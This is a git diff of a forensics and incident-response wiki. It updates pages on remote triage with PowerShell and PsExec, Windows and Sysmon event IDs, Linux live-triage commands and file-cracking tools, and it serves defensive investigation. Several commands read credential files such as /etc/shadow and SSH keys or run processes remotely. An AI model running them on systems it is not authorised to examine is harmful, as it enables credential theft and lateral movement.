hexadecimal editor / disassembler for Windows and Linux targeted to IT-security professionals.\ - Inspect [dozens of binary file formats](https://malcat.fr/features.html#file-formats), dissassemble and decompile different [CPU architectures](https://malcat.fr/features.html#cpu-architectures), extract embedded files and scan for Yara signatures or anomalies in a fast and easy-to-use graphical interface. +Reverse engineering, debuggers, disassemblers, decompilers, PE capability tools, and hex editors are maintained on the Reverse Engineering page. + +{% content-ref url="binary-analysis-reverse-engineering.md" %} +[binary-analysis-reverse-engineering.md](binary-analysis-reverse-engineering.md) +{% endcontent-ref %} + +File-oriented binary triage tools that also fit here: + +* [binwalk](https://www.kali.org/tools/binwalk/) - Search firmware or binary images for embedded files and executable code. +* [de4dot](https://www.kali.org/tools/de4dot/) - .NET deobfuscator and unpacker. +* [pev](https://www.kali.org/tools/pev/) - PE32/PE32+ executable header, section, resource, and metadata inspection. ### Email Analysis Tools -* [https://www.phishtool.com/products/community](https://www.phishtool.com/products/community) - PhishTool automatically retrieves all of the relevant metadata from a phishing email, providing you with the most comprehensive technical view of a phishing email possible. This combined with thier OSINT and heuristic detection. It performs strings analysis as well as attachments and embedded hyperlinks. +* [https://www.phishtool.com/products/community](https://www.phishtool.com/products/community) - PhishTool automatically retrieves all of the relevant metadata from a phishing email, providing you with the most comprehensive technical view of a phishing email possible. This combined with their OSINT and heuristic detection. It performs strings analysis as well as attachments and embedded hyperlinks. ### Doc Analysis Tools @@ -134,10 +140,19 @@ A package of python tools to analyze [Microsoft OLE2 files](http://en.wikipedia. ## **File Encrypt/Decrypt/Crack** -* [Pem File Cracking](https://github.com/robertdavidgraham/pemcrack) - Cracks SSL PEM files that hold encrypted private keys. Brute forces or dictionary cracks. -* [PKZip File Cracking](https://www.unix-ag.uni-kl.de/\~conrad/krypto/pkcrack.html) - Breaking Pkzip encryption. This package implements an algorithm that was developed by Eli Biham and Paul Kocher and that is described in [this paper (Postscript, 80k)](ftp://utopia.hacktic.nl/pub/crypto/cracking/pkzip.ps.gz). +Use these for protected evidence, encrypted malware samples, password-protected archives, and file recovery work. Password attack methodology lives in Red Offensive. - The attack is a _known plaintext attack_, which means you have to know part of the encrypted data in order to break the cipher. +{% content-ref url="../red-offensive/testing-methodology/password-attacks.md" %} +[password-attacks.md](../red-offensive/testing-methodology/password-attacks.md) +{% endcontent-ref %} + +* [Hashcat](https://hashcat.net/hashcat/) - World's fastest and most advanced password recovery utility. +* [John the Ripper](https://www.openwall.com/john/) - Fast password cracker, currently available for many flavors of Unix, Windows, DOS, and OpenVMS. +* [CyberChef](https://gchq.github.io/CyberChef/) - "The Cyber Swiss Army Knife". A web app for encryption, encoding, compression and data analysis. +* [HashCalc](https://www.slavasoft.com/hashcalc/) - File hash, checksum, and HMAC calculator. +* [Pem File Cracking](https://github.com/robertdavidgraham/pemcrack) - Cracks SSL PEM files that hold encrypted private keys. Brute forces or dictionary cracks. +* [PKZip File Cracking (pkcrack)](https://github.com/keyunluo/pkcrack) - Breaking Pkzip encryption. This package implements an algorithm that was developed by Eli Biham and Paul Kocher. + The attack is a _known plaintext attack_, which means you have to know part of the encrypted data in order to break the cipher. * [bruteforce-salted-openssl](https://www.kali.org/tools/bruteforce-salted-openssl/) - Try to find the passphrase or password of a file that was encrypted with the openssl command. * [ccrypt](https://www.kali.org/tools/ccrypt/) - ccrypt is a utility for encrypting and decrypting files and streams. * [fcrackzip](https://www.kali.org/tools/fcrackzip/) - fcrackzip is a fast password cracker partly written in assembler. It is able to crack password protected zip files with brute force or dictionary based attacks, optionally testing with unzip its results. It can also crack cpmask’ed images. @@ -203,6 +218,8 @@ $obj.sources.attributes.paths ## Binary Analysis Training -* [https://maxkersten.nl/binary-analysis-course/](https://maxkersten.nl/binary-analysis-course/) +Binary analysis and reverse engineering training links have moved to Training. -**** +{% content-ref url="../training/" %} +[training](../training/) +{% endcontent-ref %} diff --git a/dfir-digital-forensics-and-incident-response/interact-with-remote-machine.md b/dfir-digital-forensics-and-incident-response/interact-with-remote-machine.md index 03995cd..6b057d1 100644 --- a/dfir-digital-forensics-and-incident-response/interact-with-remote-machine.md +++ b/dfir-digital-forensics-and-incident-response/interact-with-remote-machine.md @@ -1,70 +1,97 @@ -# Interact with remote machine +# Interact with Remote Machine -## Set up connection +## PowerShell Remoting (WinRM) -Enable Powershell remoting: +PowerShell Remoting is the preferred method for interacting with Windows systems. It relies on the Windows Remote Management (WinRM) service. +### Enable PowerShell Remoting + +To enable remoting on a target machine if it isn't already (requires local access or another remote method like PsExec or WMI). + +**Using PsExec (Sysinternals):** +```powershell +psexec.exe \\TARGET -s powershell Enable-PSRemoting -Force ``` + +**Using WMIC (Legacy/Deprecated):** +```cmd wmic /node:[IP] process call create "powershell enable-psremoting -force" ``` -[Powershell](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enter-pssession?view=powershell-6): +### Establish Remote Session -``` +**Interactive Session (One-off):** +[Enter-PSSession Documentation](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enter-pssession) + +```powershell Enter-PSSession -ComputerName [IP] ``` -PSExec: +**Persistent Session Variable:** +Useful for running multiple commands or scripts against the same host. -``` -PsExec: psexec \\IP -c cmd.exe +```powershell +$s1 = New-PSSession -ComputerName remotehost -SessionOption (New-PSSessionOption -NoMachineProfile) -ErrorAction Stop ``` -### Enable PS Remoting using PsExec +**Enter or Exit Remote Session:** -``` -psexec.exe \\TARGET -s powershell Enable-PSRemoting -Force; +```powershell +Enter-PSSession -Session $s1 +# Do work... +Exit-PSSession ``` -### Setup logging for IR +### Issuing Remote Commands -Note: If you enter a PSSession, the logging won’t persist, so you will need to enable it on the remote host and pull the file back afterwards. Otherwise refer to PowerShell ♥ the Blue Team mentioned above. +Execute a script block or file without entering an interactive shell. +```powershell +Invoke-Command -ScriptBlock {whoami} -Session $s1 +Invoke-Command -FilePath ./file.ps1 -Session $s1 ``` -Start-Transcript -Path "C:\[location]\investigation-1.log" -NoClobber + +### Retrieving/Downloading Files + +```powershell +Copy-Item -Path "C:\Remote\Path\file.ext" -Destination "C:\Local\Path\" -FromSession $s1 ``` -[Thanks Barnaby Skeggs](https://b2dfir.blogspot.com/2018/11/windows-powershell-remoting-host-based.html) +### Setup Logging for IR -### Establish Remote Session +When participating in a remote session, it is critical to log your actions. +**Note:** If you run `Start-Transcript` inside a PSSession, the log file is generated **on the remote host**. You must retrieve this file (using `Copy-Item`) before closing the session or after finishing your investigation. -``` -$s1 = New-PSsession -ComputerName remotehost -SessionOption (New-PSSessionOption -NoMachineProfile) -ErrorAction Stop +```powershell +Start-Transcript -Path "C:\Temp\investigation-1.log" -NoClobber +# Run commands... +Stop-Transcript ``` -### Enter or exit remote session +*Reference:* [Barnaby Skeggs - Windows PowerShell Remoting Host Based](https://b2dfir.blogspot.com/2018/11/windows-powershell-remoting-host-based.html) -``` -Enter-PSSession -Session $s1 -Exit-PSSEssion -``` +## SSH (Secure Shell) -### Issuing remote command/shell +The standard for Linux and macOS remote management, and increasingly available on Windows (OpenSSH Server). -``` -Invoke-Command -ScriptBlock {whoami} -Session $s1 -Invoke-Command -file file.ps1 -Session $s1 +```bash +ssh user@hostname ``` -### Retrieving/downloading files +## Legacy & Alternative Tools -``` -Copy-Item -Path "[RemoteHostFilePath]" -Destination "[LocalDestination]" -FromSession $s1 +### PsExec (Sysinternals) + +PsExec allows you to execute processes on other systems. It typically uses SMB (port 445) and leaves artifacts (PSEXESVC service) on the target. + +```cmd +PsExec.exe \\IP -c cmd.exe ``` -## Credentials and Exposure +## Credentials and Exposure -When investigating a compromised asset, it’s important to know what remote triage methods leave your credentials on the infected endpoint, and what ones don’t. Reference can be found on [Microsoft Documentation](https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#administrative-tools-and-logon-types) +When investigating a compromised asset, it’s important to know which remote triage methods expose your credentials to the infected endpoint. +*Reference:* [Microsoft Securing Privileged Access](https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#administrative-tools-and-logon-types) | Connection Method | Logon Type | Reusable credentials on destination | Notes | | --------------------------------------- | -------------------- | ----------------------------------- | ----------------------------------------------------------------------------------------- | @@ -73,13 +100,13 @@ When investigating a compromised asset, it’s important to know what remote tri | RUNAS/NETWORK | NewCredentials | Y | Clones LSA session, but uses new creds when connecting to network resources. | | Remote Desktop | RemoteInteractive | Y | Nil | | Remote Desktop Failure | RemoteInteractive | N | Only stored briefly | -| Net Use \* \SERVER | Network | N | Nil | -| Net Use \* \ SERVER /user | Network | N | Nil | +| Net Use * \\SERVER | Network | N | Nil | +| Net Use * \\SERVER /user | Network | N | Nil | | MMC snap-ins to remote computer | Network | N | Nil | | PowerShell WinRM | Network | N | e.g. Enter-PSSession SERVER | | PowerShell WinRM with CredSSP | NetworkClearText | Y | e.g. New-PSSession SERVER -Authentication Credssp -Credential PWD | -| PsExec without explicit creds | Network | N | e.g. PsExec \SERVER cmd | -| PsExec with explicit creds | Network\&Interactive | Y | PsExec \SERVER -u USER -p PWD cmd | +| PsExec without explicit creds | Network | N | e.g. PsExec \\SERVER cmd | +| PsExec with explicit creds | Network&Interactive | Y | PsExec \\SERVER -u USER -p PWD cmd | | Remote Registry | Network | N | Nil | | Remote Desktop Gateway | Network | N | Authenticating to Remote Desktop Gateway | | Scheduled Task | Batch | Y | Also saved as LSA secret on disk | @@ -88,18 +115,18 @@ When investigating a compromised asset, it’s important to know what remote tri | IIS “Basic Authentication” | NetworkCleartext | Y | Nil | | IIS “Integrated Windows Authentication” | Network | N | NTLM/Kerberos Providers | -### Kerberos Tickets and Exposure +## Kerberos Tickets and Exposure -Special thanks to [Cert EU](https://cert.europa.eu/static/WhitePapers/CERT-EU\_SWP\_17-002\_Lateral\_Movements.pdf) for this. When comparing Pass-the-Hash to Pass-the-Ticket attacks, the following key differences apply: +Special thanks to [Cert EU](https://cert.europa.eu/static/WhitePapers/CERT-EU_SWP_17-002_Lateral_Movements.pdf) for this. When comparing Pass-the-Hash to Pass-the-Ticket attacks, the following key differences apply: -* Administrative privileges are required to steal credentials, but NOT to use an obtained Kerberos ticket. -* A password change does NOT make Kerberos tickets invalid. By default Kerberos has a max lifetime of 10hrs before the ticket must be renewed, and a max renewal time of 7 days after being granted. +* Administrative privileges are required to steal credentials, but **NOT** to use an obtained Kerberos ticket. +* A password change does **NOT** make Kerberos tickets invalid instantly. By default, Kerberos has a max lifetime of 10 hours before the ticket must be renewed, and a max renewal time of 7 days after being granted. -Due to this disabling accounts may not be enough to prevent ongoing compromise, and you may have to purge the users kerberos ticket. Locate the user in question using ‘sessions’ and purge by specifying the user session prior to logging them off. +Due to this, simply disabling accounts may not be enough to prevent ongoing compromise. You may have to purge the user's Kerberos tickets. Locate the user in question using `sessions` and purge by specifying the user session prior to logging them off. -``` +```cmd klist.exe sessions -klist purge –li 0x2e079217 +klist purge -li 0x2e079217 query user logoff ``` diff --git a/dfir-digital-forensics-and-incident-response/ir-event-log-cheatsheet.md b/dfir-digital-forensics-and-incident-response/ir-event-log-cheatsheet.md index 4b6361f..2e68d3e 100644 --- a/dfir-digital-forensics-and-incident-response/ir-event-log-cheatsheet.md +++ b/dfir-digital-forensics-and-incident-response/ir-event-log-cheatsheet.md @@ -2,159 +2,213 @@ ## Security log information -Note: Logs and their event codes have changed over time. Most of the references here are for Windows Vista and Server 2008 onwards rather than Windows 2000,XP,Server 2003. More information on them may be added in the future if required. +Note: Logs and their event codes have evolved. References here primarily apply to Windows Vista / Server 2008 and newer (including Windows 10/11 and Server 2016/2019/2022). -(psloglist requires psloglist.exe from systinternals): +### Retrieval Commands +**PowerShell (Recommended):** +```powershell +# Get last 10 security events +Get-WinEvent -LogName Security -MaxEvents 10 + +# Get specific event ID +Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} + +# Filter using Hashtable (Faster) +Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} ``` + +**Command Line (wevtutil):** +```cmd wevtutil qe security /f:text -eventquery.vbs /L security -wevtutil qe security /f:text | Select-String -Pattern "Event ID: [EventCode]" -Context 2,20 -wevtutil qe security /f:text | Select-String -Pattern "Event ID: [EventCode]" -Context 2,20 | findstr "Account Name:" +wevtutil qe security /f:text /c:10 +wevtutil qe security /f:text | findstr "Event ID" +``` + +**Sysinternals (psloglist):** +```cmd psloglist -s -x security ``` -Note: Some suspicious events - “Event log service was stopped”, “Windows File Protection is not active on this system”, “The MS Telnet Service has started successfully” - -* Security: 4720 (Account created) -* Security: 4722 (Account enabled) -* Security: 4724 (Password reset) -* Security: 4723 (User changed password) -* Security: 4736 (Account deleted) -* Security: 4781 (Account renamed) -* Security: 4738 (User account change) -* Security: 4688 (A new process has been created) -* Security: 4732 (Account added to a group) -* Security: 4733 (Account removed from a group) -* Security: 1102 (Audit log cleared) -* Security: 4614 (Security System Extension) -* Security: 4672 (Special privileges assigned to new logon) -* Security: 4624 (Account successfully logged on) -* Security: 4698 (Scheduled Task Creation) -* Security: 4702 (Scheduled Task Modified) -* Security: 4699 (Scheduled Task Deleted) -* Security: 4701 (Scheduled Task Disabled) -* Security: 4700 (Scheduled Task Enabled) -* Security: 4697 (Service Installation) -* Security: 4625 (Account failed to log on) -* Security: 4776 (The domain controller attempted to validate credentials for an account) -* Security: 4634 (Account successfully logged off) -* Security: 4740 (A user account was locked out) -* Security: 4767 (A user account was unlocked) -* Security: 4778 (Remote Desktop session reconnected) -* Security: 4779 (Remote desktop session disconnected) -* Security: 4625 (A user account failed to log on) -* Security: 4648 (A logon was attempted using explicit credentials) -* Security: 4768 (A Kerberos authentication ticket (TGT) was requested) - * 0x6 (The username doesn’t exist) - Bad username or not yet replicated to DC - * 0xC (Start time is later than end time - Restricted workstation) - * 0x12 (Account locked out, disabled, expired, restricted, or revoked etc) -* Security: 4769 (A Kerberos service ticket was requested) -* Security: 4770 (A Kerberos service ticket was renewed) -* Security: 4771 (Kerberos pre-authentication failed) - * 0x10 - Smart card logon is being attempted and the proper certificate cannot be located. - * 0x17 - The user’s password has expired. - * 0x18 - The wrong password was provided. -* Security: Greater than 4720 Eand less than 4764 (Account/group modifications) +### Critical Security Events + +#### Account Management +* **4720**: A user account was created. +* **4722**: A user account was enabled. +* **4723**: An attempt was made to change an account's password. +* **4724**: An attempt was made to reset an account's password. +* **4725**: A user account was disabled. +* **4726**: A user account was deleted. (Note: 4736 is often cited but 4726 is standard for user deletion). +* **4738**: A user account was changed. +* **4781**: The name of an account was changed. +* **4732**: A member was added to a security-enabled local group. +* **4733**: A member was removed from a security-enabled local group. +* **4756**: A member was added to a security-enabled universal group. +* **4757**: A member was removed from a security-enabled universal group. +* **Range 4720-4764**: General account and group modifications. + +#### Logon and Auth +* **4624**: An account was successfully logged on. +* **4625**: An account failed to log on. +* **4634**: An account was logged off. +* **4648**: A logon was attempted using explicit credentials (RunAs). +* **4672**: Special privileges assigned to new logon (Admin logon). +* **4740**: A user account was locked out. +* **4767**: A user account was unlocked. +* **4776**: The computer attempted to validate the credentials for an account (NTLM). +* **4778**: A session was reconnected to a Window Station (RDP Reconnect). +* **4779**: A session was disconnected from a Window Station (RDP Disconnect). + +**Kerberos Events:** +* **4768**: A Kerberos authentication ticket (TGT) was requested. + * `0x6`: Client not found (Bad Username). + * `0xC`: Client time restriction. + * `0x12`: Account revoked/disabled/locked. + * `0x17`: Key expired (Password expired). + * `0x18`: Pre-authentication information was invalid (Bad Password). +* **4769**: A Kerberos service ticket was requested. +* **4770**: A Kerberos service ticket was renewed. +* **4771**: Kerberos pre-authentication failed. + +#### System and Service +* **1102**: The audit log was cleared. +* **4614**: A notification package has been loaded by the Security Account Manager. +* **4697**: A service was installed in the system. (Critical for persistence). +* **7045**: (System Log) A service was installed in the system. + +#### Process and Task +* **4688**: A new process has been created. (Enable command line logging for full details). +* **4698**: A scheduled task was created. +* **4699**: A scheduled task was deleted. +* **4700**: A scheduled task was enabled. +* **4701**: A scheduled task was disabled. +* **4702**: A scheduled task was updated. ## Logon type information -* Type: 0 (Used only by System account authentications) -* Type: 2 (Interactive Logon) - * User is at the keyboard. -* Type: 3 (Network Authentication/SMB Auth Logon) - * Auth over the network. Note: RDP can fall under this if Network Level Authentication is enabled. -* Type: 4 (Batch Logon) - * More often than not from a Scheduled Task. -* Type: 5 (Service Logon) - * More often than not from a Service. -* Type: 7 (Unlock Logon) - * User is at the keyboard unlocking it after lunch. -* Type: 8 (Network Cleartext Logon) - * Basically Logon Type 3 but creds are in the clear. -* Type: 9 (New Credentials Logon) - * More often than not from using ‘RunAs’ with the ‘/netonly’ parameter. -* Type: 10 (Terminal/RDP Logon Type) - * Logon via Terminal Services/RDP. -* Type: 11 (Cached Interactive) - * Logon when unable to connect to domain (Cached Creds locally). -* Type: 12 (Cached Remote Interactive) - * Same as RemoteInteractive. This is used for internal auditing. -* Type: 13 (Cached Unlock Logon) - * Same as Unlock Logon except with cached creds. +* **Type 0**: System (Used only by System account authentications). +* **Type 2**: Interactive (User at keyboard). +* **Type 3**: Network (Accessing shared folder, printer, IIS). +* **Type 4**: Batch (Scheduled tasks). +* **Type 5**: Service (Service startup). +* **Type 7**: Unlock (Unlocking workstation). +* **Type 8**: NetworkCleartext (IIS Basic Auth - plain text password). +* **Type 9**: NewCredentials (RunAs using `/netonly`). +* **Type 10**: RemoteInteractive (RDP). +* **Type 11**: CachedInteractive (Login when domain is offline). +* **Type 12**: Cached Remote Interactive. +* **Type 13**: Cached Unlock Logon. ## Special logon information (4672) -| Privilege Name | Description | Notes | -| ----------------------------- | -------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| SeAssignPrimaryTokenPrivilege | Replace a process-level token | Required to assign the primary token of a process. With this privilege, the user can initiate a process to replace the default token associated with a started subprocess. | -| SeAuditPrivilege | Generate security audits | With this privilege, the user can add entries to the security log. | -| SeBackupPrivilege | Back up files and directories | Required to perform backup operations. With this privilege, the user can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. | -| SeCreateTokenPrivilege | Create a token object | Allows a process to create a token which it can then use to get access to any local resources when the process uses NtCreateToken() or other token-creation APIs. When a process requires this privilege, we recommend using the LocalSystem account (which already includes the privilege), rather than creating a separate user account and assigning this privilege to it. | -| SeDebugPrivilege | Debug programs | Required to debug and adjust the memory of a process owned by another account.With this privilege, the user can attach a debugger to any process or to the kernel. We recommend that SeDebugPrivilege always be granted to Administrators, and only to Administrators. Developers who are debugging their own applications do not need this user right. Developers who are debugging new system components need this user right. This user right provides complete access to sensitive and critical operating system components. | -| SeEnableDelegationPrivilege | Enable computer and user accounts to be trusted for delegation | With this privilege, the user can set the Trusted for Delegation setting on a user or computer object.The user or object that is granted this privilege must have write access to the account control flags on the user or computer object. | -| SeImpersonatePrivilege | Impersonate a client after authentication | With this privilege, the user can impersonate other accounts. | -| SeLoadDriverPrivilege | Load and unload device drivers | Required to load or unload a device driver.With this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode. This user right does not apply to Plug and Play device drivers. | -| SeRestorePrivilege | Restore files and directories | Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file. With this privilege, the user can bypass file, directory, registry, and other persistent objects permissions when restoring backed up files and directories and determines which users can set any valid security principal as the owner of an object. | -| SeSecurityPrivilege | Manage auditing and security log | Required to perform a number of security-related functions, such as controlling and viewing audit events in security event log. With this privilege, the user can specify object access auditing options for individual resources, such as files, Active Directory objects, and registry keys.A user with this privilege can also view and clear the security log. | -| SeSystemEnvironmentPrivilege | Modify firmware environment values | Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. | -| SeTakeOwnershipPrivilege | Take ownership of files or other objects | Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those values that the holder may legitimately assign as the owner of an object. With this privilege, the user can take ownership of any securable object in the system, including Active Directory objects, files and folders, printers, registry keys, processes, and threads. | -| SeTcbPrivilege | Act as part of the operating system | This privilege identifies its holder as part of the trusted computer base.This user right allows a process to impersonate any user without authentication. The process can therefore gain access to the same local resources as that user. | - -## System log information: - -``` +| Privilege Name | Description | Notes | +| :--- | :--- | :--- | +| **SeAssignPrimaryTokenPrivilege** | Replace a process-level token | Required to assign the primary token of a process. With this privilege, the user can initiate a process to replace the default token associated with a started subprocess. | +| **SeAuditPrivilege** | Generate security audits | With this privilege, the user can add entries to the security log. | +| **SeBackupPrivilege** | Back up files and directories | Required to perform backup operations. Bypasses file and directory permissions for reading. | +| **SeCreateTokenPrivilege** | Create a token object | Allows a process to create a token which it can then use to get access to any local resources. Highly sensitive. | +| **SeDebugPrivilege** | Debug programs | Required to debug and adjust the memory of a process owned by another account. Allows complete access to sensitive components. | +| **SeEnableDelegationPrivilege** | Enable computer and user accounts to be trusted for delegation | Allows setting "Trusted for Delegation" on objects. | +| **SeImpersonatePrivilege** | Impersonate a client after authentication | With this privilege, the user can impersonate other accounts. | +| **SeLoadDriverPrivilege** | Load and unload device drivers | Required to load or unload a device driver into kernel mode. | +| **SeRestorePrivilege** | Restore files and directories | Required to perform restore operations. Bypasses write permissions. Can optionally set the owner of a file. | +| **SeSecurityPrivilege** | Manage auditing and security log | View/Clear security log and manage auditing options. | +| **SeSystemEnvironmentPrivilege** | Modify firmware environment values | Modify nonvolatile RAM (Boot details etc). | +| **SeTakeOwnershipPrivilege** | Take ownership of files or other objects | Take ownership of objects without discretionary access. | +| **SeTcbPrivilege** | Act as part of the operating system | Holder is part of the trusted computer base. Can impersonate any user. | + +## System log information + +**Command:** +```powershell +Get-WinEvent -LogName System -MaxEvents 10 wevtutil qe system /f:text -eventquery.vbs /L system ``` -Note: Some useful events - - -* System: 7030 (Basic Service Operations) -* System: 7040 (The start type of a service was changed from disabled to auto start) -* System: 7045 (Service Was Installed) -* System: 1056 (DHCP Server Oddities) -* System: 10000 (COM Functionality) -* System: 20001 (Device Driver Installation) -* System: 20002 (Remote Access) -* System: 20003 (Service Installation) +**Useful Events:** +* **1056**: DHCP Server service is running on a DC with credentials that have not been authorized. +* **7030**: The service is configured as interactive but the system is not. +* **7034**: Service crashed/terminated unexpectedly. +* **7036**: Service started or stopped. +* **7040**: The start type of a service was changed. +* **7045**: A service was installed in the system. +* **10000**: WLAN-AutoConfig detected. +* **20001**: Device driver installation. +* **20002**: Remote access. +* **20003**: Service installation. ## Application log information Many applications output errors to the Windows Application Event Logs. For example an application crash may generate an event, or an error may generate an event of value. It’s worth looking for events with a source relating to a known vulnerable component that may have been exploited. For example the [Australian Cyber Security Centre](https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2020-004-remote-code-execution-vulnerability-being-actively-exploited-vulnerable-versions-teleriktelerik-ui-sophisticated-actors) makes special note in one of their reports for the following event. -* Event ID: 1309 -* Source: ASP.NET +* **Event ID 1309** (Source: ASP.NET): Web application exception. Can indicate exploitation attempts (e.g., Telerik UI vulnerabilities). +* **1000**: Application Error (Crash). +* **1001**: Windows Error Reporting (Bucket info). + +## PowerShell Log Information + +Located in `Applications and Services Logs/Microsoft/Windows/PowerShell/Operational`. + +**Command:** +```powershell +Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" +``` + +**Events:** +* **4103**: Module Logging (Pipeline Execution Details). Shows what commands were executed. +* **4104**: Script Block Logging. Captures the full code of script blocks (handling de-obfuscation). + +## Windows Defender Log Information + +Located in `Applications and Services Logs/Microsoft/Windows/Windows Defender/Operational`. -In particular instances of this event with reference to Telerik.Web.UI.IAsyncUploadConfiguration, one can help to identify successful exploitation of a vulnerable Telerik instance. +**Events:** +* **1000**: Scan started. +* **1001**: Scan completed. +* **1116**: Malware/threat detection. +* **1117**: Threat action taken (cleaned/quarantined). +* **5001**: Real-time protection disabled. ## Sysmon log information {% embed url="https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/5eb3687f39d69d48c403a42a/1588816000014/Windows+Sysmon+Logging+Cheat+Sheet_Jan_2020.pdf" %} -When installed and running the event log is located at: “Applications and Services Logs/Microsoft/Windows/Sysmon/Operational” - -Note: A WMI consumer is a management application or script that interacts with the WMI infrastructure. [Microsoft Docs - WMI Architecture](https://docs.microsoft.com/en-us/windows/desktop/WmiSdk/wmi-architecture) - -* Sysmon: 1 (Process create) -* Sysmon: 2 (File creation time) -* Sysmon: 3 (Network connection detected) -* Sysmon: 4 (Sysmon service state changed) -* Sysmon: 5 (Process terminated) -* Sysmon: 6 (Driver loaded) -* Sysmon: 9 (Image loaded) -* Sysmon: 10 (Process accessed) -* Sysmon: 11 (File created) -* Sysmon: 12 (Registry object added or deleted) -* Sysmon: 13 (Registry value set) -* Sysmon: 14 (Registry object renamed) -* Sysmon: 15 (File stream created) -* Sysmon: 16 (Sysmon configuration changed) -* Sysmon: 17 (Named pipe created) -* Sysmon: 18 (Named pipe connected) -* Sysmon: 19 (WMI filter) -* Sysmon: 20 (WMI consumer) -* Sysmon: 21 (WMI consumer filter) -* Sysmon: 22 (DNS Query) -* Sysmon: 23 (File Delete) -* Sysmon: 24 (Clipboard Changed) +The embedded Sysmon cheat sheet is a useful legacy reference. Check the current Sysmon documentation and your deployed configuration because event schemas and coverage change over time. + +Location: `Applications and Services Logs/Microsoft/Windows/Sysmon/Operational` + +* **1**: Process create (CommandLine, Hashes). +* **2**: File creation time changed. +* **3**: Network connection detected. +* **4**: Sysmon service state changed. +* **5**: Process terminated. +* **6**: Driver loaded. +* **7**: GetHashed Image (Modules). +* **8**: CreateRemoteThread (Injection). +* **9**: RawAccessRead (Drive reading). +* **10**: ProcessAccess (Memory access, credential dumping). +* **11**: FileCreate (File created). +* **12**: RegistryEvent (Object create/delete). +* **13**: RegistryEvent (Value set). +* **14**: RegistryEvent (Key/Value rename). +* **15**: FileCreateStreamHash (ADS). +* **16**: SysmonConfigDatabase (Config change). +* **17**: PipeEvent (Pipe Created). +* **18**: PipeEvent (Pipe Connected). +* **19**: WmiEvent (WmiEventFilter). +* **20**: WmiEvent (WmiEventConsumer). +* **21**: WmiEvent (WmiEventConsumerToFilter). +* **22**: DNSEvent (DNS Query). +* **23**: FileDelete (File archiving). +* **24**: ClipboardChange. +* **25**: ProcessTampering (Hollow/Herpaderp). +* **26**: FileDeleteDetected. + +## Legacy and Deprecated Tools + +These tools or commands are largely deprecated or found only on older systems (XP/2003). + +* **eventquery.vbs**: VBScript for querying logs on WinXP/2003. + ```cmd + eventquery.vbs /L security + ``` diff --git a/dfir-digital-forensics-and-incident-response/linux-dfir-commands.md b/dfir-digital-forensics-and-incident-response/linux-dfir-commands.md index c2065b4..919b964 100644 --- a/dfir-digital-forensics-and-incident-response/linux-dfir-commands.md +++ b/dfir-digital-forensics-and-incident-response/linux-dfir-commands.md @@ -1,52 +1,54 @@ # Linux DFIR Commands -## Dumping Memory +## Memory Acquisition -``` +```bash dd if=/dev/kmem of=/root/kmem dd if=/dev/mem of=/root/mem ``` +`/dev/kmem` and `/dev/mem` access is disabled or restricted on many modern Linux systems. Prefer supported memory acquisition tooling such as LiME, LinPMem, or an EDR-supported collection method when available. + [LiME](https://github.com/504ensicsLabs/LiME/releases) -``` -sudo insmod ./lime.ko "path=./Linmen.mem format=raw" +```bash +sudo insmod ./lime.ko "path=./lime.mem format=raw" ``` [LinPMem](https://github.com/Velocidex/c-aff4/releases/) -``` +```bash ./linpmem -o memory.aff4 ./linpmem memory.aff4 -e PhysicalMemory -o memory.raw ``` -## Taking Image +## Disk Imaging -``` +```bash fdisk -l dd if=/dev/sda1 of=/[outputlocation] ``` -## Misc Useful Tools +## Misc Useful Tools [FastIR](https://github.com/SekoiaLab/Fastir\_Collector\_Linux) -``` +```bash python ./fastIR_collector_linux.py ``` [LinEnum](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh) -``` +```bash ./linenum.sh ./linenum.sh -t ``` -## Live Triage +## Live Triage -### System Information +### System Information -``` +```bash date uname –a hostname @@ -54,9 +56,9 @@ cat /proc/version lsmod ``` -### Account Information +### Account Information -``` +```bash cat /etc/passwd cat /etc/shadow cat /etc/sudoers @@ -64,121 +66,127 @@ cat /etc/sudoers.d/* cut -d: -f1 /etc/passwd getent passwd | cut -d: -f1 compgen -u +lastlog ``` -### Current user +### Current User -``` +```bash whoami who +w ``` -### Last logged on users +### Last Logged On Users -``` +```bash last lastb cat /var/log/auth.log ``` -### Initialization Files +### Initialization Files -``` +```bash cat /etc/bash.bashrc cat ~/.bash_profile -cat ~/.bashrc +cat ~/.bashrc +cat ~/.zshrc +cat ~/.zprofile ``` -### Environment and Startup Programs +### Environment and Startup Programs -``` +```bash cat /etc/profile ls /etc/profile.d/ cat /etc/profile.d/* ``` -### Scheduled Tasks +### Scheduled Tasks -``` +```bash ls /etc/cron.* ls /etc/cron.*/* cat /etc/cron.*/* cat /etc/crontab ``` -### SSH Keys and Authorized Users +### SSH Keys and Authorized Users -``` +```bash cat /etc/ssh/sshd_config ``` Note: This specifies where the SSH daemon will look for keys. Generally this will be as below. -``` +```bash ls /home/*/.ssh/* cat /home/*/.ssh/id_rsa.pub cat /home/*/.ssh/authorized_keys ``` -### Sudoers File (who who can run commands as a different user) +### Sudoers File (Checking who can run commands as a different user) -``` +```bash cat /etc/sudoers ``` -### Configuration Information +### Configuration Information -``` +```bash ls /etc/*.d cat /etc/*.d/* ``` -### Network Connections / Socket Stats +### Network Connections -``` -netstat -netstat -apetul -netstat -plan -netstat -plant +```bash ss ss -l ss -ta ss -tp +lsof -i +lsof -iP 